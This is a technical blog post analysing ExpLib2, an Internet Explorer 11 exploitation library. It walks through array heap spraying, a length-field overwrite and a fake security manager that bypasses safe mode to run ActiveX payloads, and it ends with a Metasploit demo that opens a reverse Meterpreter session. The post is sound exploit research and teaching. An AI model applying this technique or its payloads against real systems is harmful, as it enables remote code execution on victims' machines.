Last updated at Fri, 12 Jan 2024 16:29:51 GMT

This blog post was jointly written by Wei sinn3r Chen and Juan Vazquez

Memory corruption exploitation is not how it used to be. With modern mitigations in place, such as GS, SafeSEH, SEHOP, DEP, ASLR/FASLR, EAF+, ASR, VTable guards, memory randomization, and sealed optimization, etc, exploit development has become much more complicated. It definitely shows when you see researchers jumping through hoops like reverse-engineering some 0-day vulnerability and the software, turning a use-after-free crash into an arbitrary write, leak an object and disclose a module base, and customized ROP and shellcode. Watching an exploit developer work is like watching a nice kung fu movie: you see him trying to thrust, hack, kick, hitting left and right, from the ground all the way to rooftops, and then next thing you know he just popped a shell. It's all very fancy. Oh, and it's real.

Despite all the fanciness of modern exploitation, security researcher Yuki Chen (who is the exploit dev version of Bruce Lee) took a different turn. If you're not much of a Bruce Lee fan, well, Lee was really big in the philosophy of simplicity. In his words:

“It's not the daily increase but daily decrease. Hack away at the unessential.”

What Yuki Chen wanted to do was avoid dealing with the hassle of EAF, DEP, shellcode, and other things. Basically, going for the most straight-forward punch with the least amount of effort. His idea of simplicity and the creation of ExpLib2 are what make him so Bruce Lee. However, we notice that the security community hasn't been talking about his stuff much, so here we'd like to go over his work on ExpLib2 more in depth, hopefully to spark more interest.

ExpLib2 is basically Yuki's exploitation library for Internet Explorer. To be able to use this, it assumes you already have a bug for an arbitrary write. And then you will have to use this bug to modify the length field of an array in memory, and you tell the library where it is, what payload to run, and that's all it needs from you. To give you an idea how much you're writing for the exploit, take a good look at the following example:

function modifyArray() {  
  // Use your bug and modify the array here  
  // For testing, we do: ed 1a1b3000+18 400  
function example() {  
  var num_arrays = 98688;  
  var arr_size = (0x1000 - 0x20)/4;  
  var explib = new ExpLib( num_arrays, arr_size, 0x1a1b3000, new payload_exec('calc.exe') );  
  explib.setArrContents([0x21212121, 0x22222222, 0x23232323, 0x24242424]); // There is a default one too  
  explib.go();  // Code execution  

The go() function from ExpLib2 will then use the information initialized by you and leak objects in order to figure out where the security manager is, makes a copy of it, have it modified (and patches other necessary functions), that way the ScriptEngine functions will end up using your fake security manager, and execute your payload in "god mode". This is pretty much the summarized version of the technique, which is also briefly explained in the original paper by Yuki, "Exploit IE Using Scriptable ActiveX Controls", but let's take a closer look at this magic trick.

Heap Spraying

As you can see from the above example, an array is sprayed (on the heap), and here's why: Heap spraying is a common technique to place something at a predicable location in memory, in this case so ExpLib2 can modify it to perform an information leak. JavaScript arrays are also much easier to work with, because in memory there's no randomization or any alignment problems, which yields predictability. As an optional reading, a recent presentation titled "The Art of Leaks: The Return of Heap Feng Shui" by ga1ois is a good one that explains better about array spraying in Javascript, which you might find interesting.

The following is the exact routine that ExpLib2 uses for spraying, and we'll explain about how it works:

ExpLib.prototype.spray = function() {  
  this.arr_arr = new Array( num_arrays );  
  var decl = "[";  
  for ( var i = 0; i < this.arr_size - 1; ++ i ) {  
    decl += '0,';  
  decl += '0';  
  decl += ']';  
  for ( var i = 0; i < num_arrays; ++ i ) {  
    this.arr_arr[i] = eval(decl);  
    for(var j = 0; j < this.arr_contents.length; j++) {  
      this.arr_arr[i][j] = this.arr_contents[j];  

To use this spray() function, first off we need to initialize ExpLib2. We'll ask it to create 20 members for the array. Every member has the size of (0x1000 - 0x20) /4 (more about this later). And we expect the library to store one of the array members at this address: 0x1a1b3000

var explib = new ExpLib( 20,  (0x1000 - 0x20)/4 , 0x1a1b3000, new payload_exec('calc') );  

Once the spray() function is called, the spraying begins. In the beginning, the 20 members are filled with zeros using an eval'ed array:

var decl = "[";  
for ( var i = 0; i < this.arr_size - 1; ++ i ) {  
  decl += '0,';  
decl += '0';  
decl += ']';  

Each member is (0x1000 - 0x20) / 4 big. What happens under the hood for the array creation can be examined in the Js::InterpreterStackFrame::OP_ProfiledNewScIntArray function in Jscript9.dll:

int __thiscall Js::InterpreterStackFrame::OP_ProfiledNewScIntArray<0>(int this, int a2)  
  if ( v8 )  
    v9 = *v8;  
    if ( !(v9 & 1) )  
      // Js::JavascriptLibrary::CreateNativeIntArrayLiteral(uint)  
      v10 = Js::JavascriptLibrary::CreateNativeIntArrayLiteral(*v5);  
      // Js::JavascriptOperators::AddIntsToArraySegment(Js::SparseArraySegment<int> *,Js::AuxArray<int> const *)  

The first call to Js::JavascriptLibrary::CreateNativeIntArrayLiteral() will initialize the Js::JavascriptnativeIntArray object and will allocate space to store the data. The second call to Js::JavascriptOperators::AddIntsToArraySegment() will fill the space with user-controlled data, which in this case is just nulls.

Let's examine the Js::JavascriptLibrary::CreateNativeIntArrayLiteral() function first a little more carefully. So in Jscript9, there are multiple variants of arrays like Integer arrays or float arrays. Our function, as the name implies, creates a "Native Int Array Literal". Although there are different types of arrays out there, note that they all have the same inheritance that goes all the way back to Js::DynamicObject:

As an example, our JavascriptNativeIntArray has the following layout in memory:

Next, space for the array data will be allocated through the internal Jscript9 allocator. For arrays like the ones used by ExpLib2, if large enough, will go through LargeHeapBlock:

0:007> g  
Breakpoint 3 hit  
eax=0000018c ebx=00000ff0 ecx=0258aa98 edx=0254cb8c esi=00000ff0 edi=0254f344  
eip=68be0594 esp=0344aef8 ebp=0344af1c iopl=0        nv up ei pl nz na po nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202  
68be0594 8bff            mov    edi,edi  
0:007> kb  
ChildEBP RetAddr  Args to Child  
0344aef4 68d03a7f 00000ff0 00000000 000003f8 jscript9!LargeHeapBlock::Alloc  
0344af1c 68d03979 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::Allocate+0xe1  
0344af34 68d039f0 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::AllocateSegment+0x4c  
0344af4c 68d039b2 000003f8 000003f8 02925100 jscript9!Js::JavascriptNativeIntArray::JavascriptNativeIntArray+0x32  
0344af80 68bc3a24 02548a78 02f69010 0344afc0 jscript9!Js::JavascriptArray::NewLiteral<int,Js::JavascriptNativeIntArray>+0x1bc  
0344af90 68c4a9b5 000003f8 0344b3d0 02546f58 jscript9!Js::JavascriptLibrary::CreateNativeIntArrayLiteral+0x1a  

LargeHeapBlock::Alloc will check if it has enough space available for the requested allocation. The actual requesting size should be data size plus the 0x10 header size. If there's space, it will return a pointer for the allocation, and then it will just adjust the position of the next available space.

.text:1006059D                mov    ecx, [ebp+arg_0] ; Allocation Request  
.text:100605A0                push    edi  
.text:100605A1                mov    ebx, [esi+1Ch]  ; Space Available  
.text:100605A4                lea    edi, [ebx+10h]  ; Allocation Header Length: 0x10  
.text:100605A7                lea    eax, [ecx+edi]  ; EAX = the limit of the allocation  
.text:100605AA                cmp    eax, [esi+20h]  ; Compare with the max memory available for LargeHeapBlock  
.text:100605AD                ja      loc_10060808  
.text:100605B3                cmp    eax, edi  
.text:100605B5                jb      loc_10060808  
.text:100605BB                mov    dl, [ebp+arg_4]  
.text:100605BE                mov    [esi+1Ch], eax  ; 0x1c stores the new pointer to the available space for allocations  
.text:100605C1                mov    eax, [esi+14h]  
.text:100605C4                mov    [ebx+4], ecx  
.text:100605C7                mov    [ebx], eax  
.text:100605C9                mov    eax, edi        ; Pointer to the memory to store the data  

The allocation request eventually reaches VirtualAlloc through the JavaScript PageAllocator. The following demonstrates an allocation of 0x20000:

0:004> kb 10  
ChildEBP RetAddr  Args to Child  
0365b190 6b530184 00201000 00000004 02789410 jscript9!Segment::Initialize+0x31  
0365b1a8 6b530122 00000000 02789410 0365b1d4 jscript9!PageAllocator::AllocPageSegment+0x34  
0365b1b8 6b5300fa 02789414 0365b22c 02789410 jscript9!PageAllocator::AddPageSegment+0x14  
0365b1d4 6b4d97d2 00000004 0365b20c 00000000 jscript9!PageAllocator::SnailAllocPages+0x3d  
0365b1ec 6b4d98c1 00000004 0365b20c 02789410 jscript9!PageAllocator::AllocPages+0x3d  
0365b204 6b5306e6 0365b22c 0365b224 00000000 jscript9!PageAllocator::Alloc+0x1d  
0365b230 6b530880 00000ff0 0278fcd4 0365b260 jscript9!LargeHeapBucket::AddLargeHeapBlock+0x5d  
0365b240 6b53085e 02789408 00000ff0 00000000 jscript9!LargeHeapBucket::TryAllocFromNewHeapBlock+0xe  
0365b260 6b67408d 02789408 00000ff0 00000000 jscript9!LargeHeapBucket::SnailAlloc+0x3e  
0365b28c 6b653979 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::Allocate+0x10f  
0365b2a4 6b6539f0 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::AllocateSegment+0x4c  
0365b2bc 6b6539b2 000003f8 000003f8 02f146a0 jscript9!Js::JavascriptNativeIntArray::JavascriptNativeIntArray+0x32  
0365b2f0 6b513a24 02789408 0307d020 0365b330 jscript9!Js::JavascriptArray::NewLiteral<int,Js::JavascriptNativeIntArray>+0x1bc  
0365b300 6b59a9b5 000003f8 0365b740 027878b0 jscript9!Js::JavascriptLibrary::CreateNativeIntArrayLiteral+0x1a  
0365b330 6b59a92a 031ee480 027878b0 031ee480 jscript9!Js::InterpreterStackFrame::OP_ProfiledNewScIntArray<0>+0x72  
0365b738 6b4e0aa3 02efa550 031ee480 02efa540 jscript9!Js::InterpreterStackFrame::Process+0x472a  

If you do get an allocation, there shouldn't be any randomization behind it. Other researchers like Yuki and @Ga1ois also pretty much claim the same thing.

Let's move on to the array data. Remember the (0x1000 - 0x20 / 4) size we talked about? Here's where that "0x20" comes from: when data is created, we must account for two things: The allocation header, and the array header. Each of them is 0x10 bytes, so that's where you got the 0x20. Having these into account will ensure you to get 0x1000-byte aligned allocations with LargeHeapBlock. Each array looks like the following:

Some interesting information you want to remember:

  • Allocation header + 0x4 = Allocation Size
  • Array data header + 0x4 = Array Length
  • Array data header + 0x8 = Array Length
  • The array data would have an allocation pattern like this link.

So yup, that's it for our heap spraying. It's quite a lot of stuff to go through, isn't it? Does the code example above remind you how awesome Yuki Chen is to make this into one line of code?

Exploitation with Safe Mode Bypass in Internet Explorer 11

Like we said earlier, Yuki Chen's exploitation technique doesn't require any ROP, VirtualProtect, NtContinue, or custom shellcode, etc. It does require you to begin with a memory corruption of your own in order to modify an array you spray. Modify what, you ask? Well, by overwriting the length field of an array, which is found in the array data header, it is possible to read or write whatever is beyond the array data, and that is your typical information leak. By taking advantage of this, Yuki Chen managed to eventually disable safe mode in Internet Explorer to be able to run an unsafe ActiveX object like this:

var WshShell = new ActiveXObject("");  
oExec = WshShell.Exec('calc.exe')  

What ExpLib2 achieves for you is with that information leak, it will disclose the address of an ScriptEngine object, and then it finds the security manager from it at offset 0x21c, like this:

var original_securitymanager = this.read32( script_engine_addr + 0x21c );  

Note that even though the security manager is an object, the symbols for it won't necessarily make sense to you. The vtable has your typical QueryInterface, AddRef, Release, the rest are all "TearoffThunk"s, which is sort of cryptic looking at first glance. An example of that can be found here. We were able to verity this is indeed the security manager by examining the ScriptSite::CreateObjectFromProgID function (which is used to create an ActiveX object):

signed int __thiscall ScriptSite::CreateObjectFromProgID(void *this, const OLECHAR *a2, int a3, int a4)  
  if ( a3 )  
    pvReserved = &v13;  
  if ( ScriptEngine::InSafeMode(*((_DWORD *)this + 1), (int)&v19) < 0 )  
    return -2146827859;  
  v5 = v19 ? CLSIDFromProgID(lpszProgID, &clsid) : CLSIDFromProgIDEx(lpszProgID, &clsid);  
  if ( v5 < 0 || !ScriptEngine::CanCreateObject(*((_DWORD *)v4 + 1), (int)&clsid) )  
    return -2146827859;  
  v6 = 5;  
  if ( a3 )  
    if ( *(_DWORD *)(*((_DWORD *)v4 + 20) + 1164) >= 3 || v19 )  
      return -2146827859;  
    v6 = 16;  
  if ( CoGetClassObject(&clsid, v6, pvReserved, &IID_IClassFactory, &ppv) < 0 )  
    return -2146827859;  
  v7 = (**(int (__stdcall ***)(LPVOID, GUID *, int *))ppv)(ppv, &IID_IClassFactoryEx, &v20) < 0;  
  v8 = *(_DWORD *)ppv;  
  if ( v7 )  
    v9 = (*(int (__stdcall **)(LPVOID, _DWORD, GUID *, int))(v8 + 12))(ppv, 0, &IID_IUnknown, a4);  
    (*(void (__stdcall **)(LPVOID))(*(_DWORD *)ppv + 8))(ppv);  
    if ( v9 >= 0 )  
      if ( ScriptEngine::CanObjectRun(&clsid, *(_DWORD *)a4) )  
        return v9;  
      (*(void (__stdcall **)(_DWORD))(**(_DWORD **)a4 + 8))(*(_DWORD *)a4);  
      *(_DWORD *)a4 = 0;  
      return -2146827859;  
    (*(void (__stdcall **)(LPVOID))(v8 + 8))(ppv);  
    pvReserved = 0;  
    v11 = SiteService::Create(&pvReserved, v4);  
    v12 = pvReserved;  
    v9 = v11;  
    if ( v11 >= 0 )  
      v9 = (*(int (__stdcall **)(int, LPVOID, _DWORD, GUID *, int))(*(_DWORD *)v20 + 20))(  
      if ( v9 >= 0 )  
        (*(void (__stdcall **)(int))(*(_DWORD *)v20 + 8))(v20);  
        goto LABEL_11;  
    (*(void (__stdcall **)(int))(*(_DWORD *)v20 + 8))(v20);  
    if ( v12 )  
  return v9;  

The first important thing here is the call to ScriptEngine::CanCreateObject function. There you can find an interesting call to ScriptEngine::GetSiteHostSecurityManagerNoRef() with an argument (var_4), which is the host of the security manager:

6c128362 8d45fc          lea     eax,[ebp-4]  
6c128365 8bce            mov     ecx,esi  
6c128367 50              push    eax  
6c128368 e844000000      call    jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (6c1283b1)  

What follows next is the ScriptEngine::GetSiteHostSecurityManagerNoRef function will retrieve the security manager at offset 0x21c from the ScriptEngine object. You know, the same 0x21c offset that ExpLib2 refers to:

6c1283d5 8d9f1c020000    lea     ebx,[edi+21Ch]         ; Retrieve SecurityManager from ScriptEngine  
6c1283db 3933            cmp     dword ptr [ebx],esi  
6c1283dd 7412            je      jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef+0x40 (6c1283f1)  
6c1283df 8b4d08          mov     ecx,dword ptr [ebp+8]  
6c1283e2 8b03            mov     eax,dword ptr [ebx]  
6c1283e4 5b              pop     ebx  
6c1283e5 8901            mov     dword ptr [ecx],eax    ; Store the SecurityManager reference into the caller var_4  
6c1283e7 8bc6            mov     eax,esi  
6c1283e9 5f              pop     edi  
6c1283ea 5e              pop     esi  
6c1283eb 8be5            mov     esp,ebp  
6c1283ed 5d              pop     ebp  
6c1283ee c20400          ret     4  

We can double check that 0x21c is indeed where is security manager is by hitting out breakpoint at address 0x6c1283d5, which is where the "lea ebx, [edi 21Ch]" instruction is:

Breakpoint 2 hit  
eax=035ab150 ebx=035ab1dc ecx=0462eb98 edx=00000020 esi=00000000 edi=029b1dd8  
eip=6c1283d5 esp=035ab12c ebp=035ab13c iopl=0        nv up ei pl nz na po nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202  
6c1283d5 8d9f1c020000    lea    ebx,[edi+21Ch]  

Ok, so we've hit the correct breakpoint. If we check EDI, it should point to the ScriptEngine object:

0:007> ln poi(edi)  
(6bfc2298)  jscript9!ScriptEngine::`vftable'  |  (6c03d878)  jscript9!`string'  
Exact matches:  
    jscript9!ScriptEngine::`vftable' = <no type information>  

At EDI+0x21c, we notice this pointer 0x68decd98 (this log is from another new debugging session, but you get the point):

0:007> dds poi(edi+21c) L1  
00359c90  68decd98 MSHTML!s_apfnPlainTearoffVtable  

If we take a look at this particular pointer, it brings us to the same "cryptic" looking vtable we found earlier, which verifies that this is indeed the security manager:

0:007> dds poi(poi(edi+21c))  
68decd98  67fb87d7 MSHTML!PlainQueryInterface  
68decd9c  67fad535 MSHTML!CDomEventRegistrationCallback2<CDiagnosticsElementEventHelper>::AddRef  
68decda0  67faa906 MSHTML!PlainRelease  
68decda4  681efba2 MSHTML!TearoffThunk3  
68decda8  681b6f2b MSHTML!TearoffThunk4  
68decdac  681b6efc MSHTML!TearoffThunk5  
68decdb0  681bc2d9 MSHTML!TearoffThunk6  
68decdb4  680f0bfd MSHTML!TearoffThunk7  
68decdb8  681b7ecd MSHTML!TearoffThunk8  
68decdbc  681f4109 MSHTML!TearoffThunk9  
68decdc0  681c5978 MSHTML!TearoffThunk10  
68decdc4  68110cf1 MSHTML!TearoffThunk11  
68decdc8  68093831 MSHTML!TearoffThunk12  
68decdcc  68455c0d MSHTML!TearoffThunk13  
68decdd0  68322ce5 MSHTML!TearoffThunk14  
68decdd4  681f4612 MSHTML!TearoffThunk15  
68decdd8  683ea4cb MSHTML!TearoffThunk16  
68decddc  681f56e8 MSHTML!TearoffThunk17  
68decde0  683ec3c5 MSHTML!TearoffThunk18  
68decde4  6846194c MSHTML!TearoffThunk19  
68decde8  68212c40 MSHTML!TearoffThunk20  
68decdec  68213049 MSHTML!TearoffThunk21  
68decdf0  683e5d5a MSHTML!TearoffThunk22  
68decdf4  683e50c1 MSHTML!TearoffThunk23  
68decdf8  683c9755 MSHTML!TearoffThunk24  
68decdfc  68209511 MSHTML!TearoffThunk25  
68dece00  6848ab0e MSHTML!TearoffThunk26  
68dece04  68408a2f MSHTML!TearoffThunk27  
68dece08  68484220 MSHTML!TearoffThunk28  
68dece0c  684b8d55 MSHTML!TearoffThunk29  
68dece10  684b8f75 MSHTML!TearoffThunk30  
68dece14  68417220 MSHTML!TearoffThunk31  

Now back to ExpLib2. After it figures out where the security manager is (it also finds Jscript9's base, code start, code end for other things later on), it will copy it in order to create another fake one. It becomes fake because ExpLib2 modifies its security manager vtable, and then it modifies ScriptEngine's security manager reference at offset 0x21c to the fake one. And this is how we trick Internet Explorer into treating your unsafe ActiveX safe.

But hang on, that's not all of it. ExpLib2 also needs to patch two virtual functions in the fake security manager with the following sequences:

/* mov esp, ebp; pop ebp; ret 8; */  
this.write32( fake_securitymanager_vtable + 0x14,  
  this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) );  
/* mov esp, ebp; pop ebp; ret 4; */  
this.write32( fake_securitymanager_vtable + 0x10,  
  this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) );  

These two patches are meant for the type of payload you want to run. The first patch is for exec type of payload, and the second patch is for drop-and-execute type of payload. Let's focus on the first patch, because that should be enough to make a point for now.

To examine what the first patch is about, we'll breakpoint at the original virtual function MSHTML!TearoffThunk5 (offset 0x14), and see why it has to be faked. The breakpoint should lead us to ScriptEngine::CanObjectRun() based on the callstack:

0:007> g  
Breakpoint 2 hit  
eax=00359c90 ebx=00000000 ecx=68decd98 edx=027ab6a0 esi=027ab734 edi=027ab6c4  
eip=681b6efc esp=027ab670 ebp=027ab6e0 iopl=0        nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000246  
681b6efc 8b542404        mov    edx,dword ptr [esp+4] ss:0023:027ab674=909c3500  
0:007> kb 5  
ChildEBP RetAddr  Args to Child  
027ab66c 66965d46 00359c90 66965d84 027ab6a0 MSHTML!TearoffThunk5  
027ab6e0 66965bd1 027ab724 012a34cc 00000002 jscript9!ScriptEngine::CanObjectRun+0x89  
027ab73c 66965a86 01c6afe0 00000000 027ab76c jscript9!ScriptSite::CreateObjectFromProgID+0xfd  
027ab788 66965a03 01c6afe0 00000000 012f79c8 jscript9!ScriptSite::CreateActiveXObject+0x51  
027ab7b8 66826f21 01df74c0 01000002 00000000 jscript9!JavascriptActiveXObject::NewInstance+0x99  

After some stepping in the debugger, you should be able to tell that faking the virtual function at offset 0x14 is necessary: It needs to survive the CanObjectRun call, which allows a successful return from function CreateObjectFromProgID, and finally creating an ActiveXObject without any issues:

signed int __thiscall ScriptSite::CreateObjectFromProgID(void *this, const OLECHAR *a2, int a3, int a4)  
      if ( ScriptEngine::CanObjectRun(&clsid, *(_DWORD *)a4) )  
        return v9;  

And that's really impressive work from Yuki Chen. In case you haven't realized, he managed to get code execution on Internet Explorer 11 without fighting every single memory protection like a boss. Reversing the JavaScript security model is also a fun one for all of us.

Metasploit Demo

In case you didn't know, ExpLib2 has already been merged into Metasploit. To demonstrate how to use it by an exploit module, we have two test cases for you to play with:

The difference between these two modules is the kind of payload you get with ExpLib2. We like explib2_ie11_drop_exec_test_case, because it pops a Metasploit meterpreter session, so we'll talk about that. To use it, make sure you place it as a loadable module by the Framework, and then:

> use exploit/windows/browser/explib2_ie11_drop_exec_test_case  
msf exploit(explib2_ie11_drop_exec_test_case) > exploit  
[*] Exploit running as background job.  
[*] Started reverse handler on  
[*] Using URL:  
[*] Local IP:  
[*] Server started.  

Visit the page with a Windows 7 SP1 / IE11, an alert will pop up asking you to execute the following "ed" command. This is just a way to simulate a memory corruption vulnerability to overwrite the array data length. You should attach WinDBG to iexplore.exe, and run this ed command:

ed 1a1b3000+18 400  

Next, you can either issue the "g" command to continue the process, or you can run the ".detach" command. And then go ahead and click on the alert.  After that, ExpLib2 should do its thing, and you should get a session like so:

msf exploit(explib2_ie11_drop_exec_test_case) >  
[*]      explib2_ie11_drop_exec_test_case - Gathering target information.  
[*]      explib2_ie11_drop_exec_test_case - Sending response HTML.  
[*] Sending stage (769536 bytes) to  
[*] Meterpreter session 1 opened ( -> at 2014-03-28 11:06:41 -0500  
msf exploit(explib2_ie11_drop_exec_test_case) > sessions -i 1  
[*] Starting interaction with 1...  
meterpreter > getuid  
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez  
meterpreter > sysinfo  
Computer        : WIN-RNJ7NBRK9L7  
OS              : Windows 7 (Build 7601, Service Pack 1).  
Architecture    : x86  
System Language : en_US  
Meterpreter    : x86/win32  

If you'd like to try ExpLib2 in Metasploit yourself, make sure to run an update and this should be in your repository. If you don't have a development environment, feel free to go through our Metasploit Development Environment wiki, and maybe submit a pull request if you'd like to improve it more. Finally, if you've never heard of Metasploit before, click here to enjoy thousands of exploits, auxiliaries, post modules, and more. It's FREE.